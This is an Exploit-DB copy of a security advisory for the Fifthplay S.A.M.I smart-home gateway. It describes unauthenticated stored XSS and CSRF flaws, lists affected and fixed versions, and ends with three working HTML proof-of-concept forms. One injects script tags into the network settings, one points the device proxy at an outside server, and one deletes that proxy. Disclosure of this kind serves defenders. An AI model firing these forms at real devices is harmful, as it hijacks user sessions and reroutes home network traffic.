Exploit-DB #47979
Description: Fifthplay S.A.M.I 2019.2_HP - Persistent Cross-Site Scripting
Type: webapps
Platform: hardware
Date: 2020-01-29
Author: LiquidWorm

Exploit:
# Exploit Title: Fifthplay S.A.M.I 2019.2_HP - Persistent Cross-Site Scripting
# Date: 2020-01-29
# Exploit Author: LiquidWorm
# Vendor: Fifthplay NV
# Vendor Homepage: https://www.fifthplay.com
# Version: 2019.2_HP
# Tested on: Linux
# CVE : -

Fifthplay S.A.M.I - Service And Management Interface Unauthenticated Stored XSS


Vendor: Fifthplay NV
Product web page: https://www.fifthplay.com
Affected version: Platform: HAM V1.2
                            HAM V1.1
                            HAM V1.0
                            DINHAM 10W
                  Image Version: 2019.3[PII_REDACTED]4803
                                 2019.2_HP[PII_REDACTED]4634
                                 2018.4_HP[PII_REDACTED]2950
                                 2018.2[PII_REDACTED]0815
                                 2017.2_HP[PII_REDACTED]3050
                                 2013.4_HP[PII_REDACTED]03
                  AMP Version: 2019.2_HP
                               2018.4_HP
                               2017.2_HP
                               2013.4_HP
                               R20.19.03
                               R20.18.02
                  Fix: 2017.2-HP4
                       2018.4_HP3
                       2018.5_HP7
                       2019.2_HP3
                       2019.3_HP1

Summary: Fifthplay is a Belgian high-tech player and a subsidiary of Niko Group. 
We specialise in enriching smart homes and buildings for almost 10 years, and in
services that provide comfort and energy. Our gateway provides a modular approach
to integrating old and new technologies, such as smart meters, optical meters,
sockets, switches. Fifthplay is a trendsetter with regards to smart homes and buildings
and one of the sector's most innovative companies.

Desc: The application suffers from an unauthenticated stored XSS through POST request.
The issue is triggered when input passed via several parameters is not properly
sanitized before being returned to the user. This can be exploited to execute arbitrary
HTML and script code in a user's browser session in context of an affected site. The
application interface also allows users to perform certain actions via HTTP requests
without performing any validity checks to verify the requests. This can be exploited
to perform certain actions if a user visits a malicious web site.

Tested on: lighttpd/1.4.33
           PHP/5.4.33
           PHP/5.3.19


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2020-5561
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5561.php


29.09.2019

--


Stored XSS:
-----------

<html>
  <body>
    <form action="http://192.168.11.1/?page=networksettings" method="POST">
      <input type="hidden" name="server" value='"><script>prompt(251)</script>' />
      <input type="hidden" name="port" value='"><script>prompt(252)</script>' />
      <input type="hidden" name="auth" value="1" />
      <input type="hidden" name="user" value='"><script>prompt(253)</script>' />
      <input type="hidden" name="pass" value='"><script>prompt(254)</script>' />
      <input type="hidden" name="submit" value="Change" />
      <input type="submit" value="Write" />
    </form>
  </body>
</html>


Set proxy CSRF:
---------------
<html>
  <body>
    <form action="http://192.168.11.1/?page=networksettings" method="POST">
      <input type="hidden" name="server" value="proxy.segfault.mk" />
      <input type="hidden" name="port" value="8080" />
      <input type="hidden" name="auth" value="1" />
      <input type="hidden" name="user" value="testuser" />
      <input type="hidden" name="pass" value="testpass" />
      <input type="hidden" name="submit" value="Change" />
      <input type="submit" value="Write" />
    </form>
  </body>
</html>


Delete proxy CSRF:
------------------

<html>
  <body>
    <form action="http://192.168.11.1/?page=networksettings" method="POST">
      <input type="hidden" name="server" value="proxy.segfault.mk" />
      <input type="hidden" name="port" value="8080" />
      <input type="hidden" name="auth" value="1" />
      <input type="hidden" name="user" value="testuser" />
      <input type="hidden" name="pass" value="testpass" />
      <input type="hidden" name="delete" value="Delete" />
      <input type="submit" value="Clear" />
    </form>
  </body>
</html>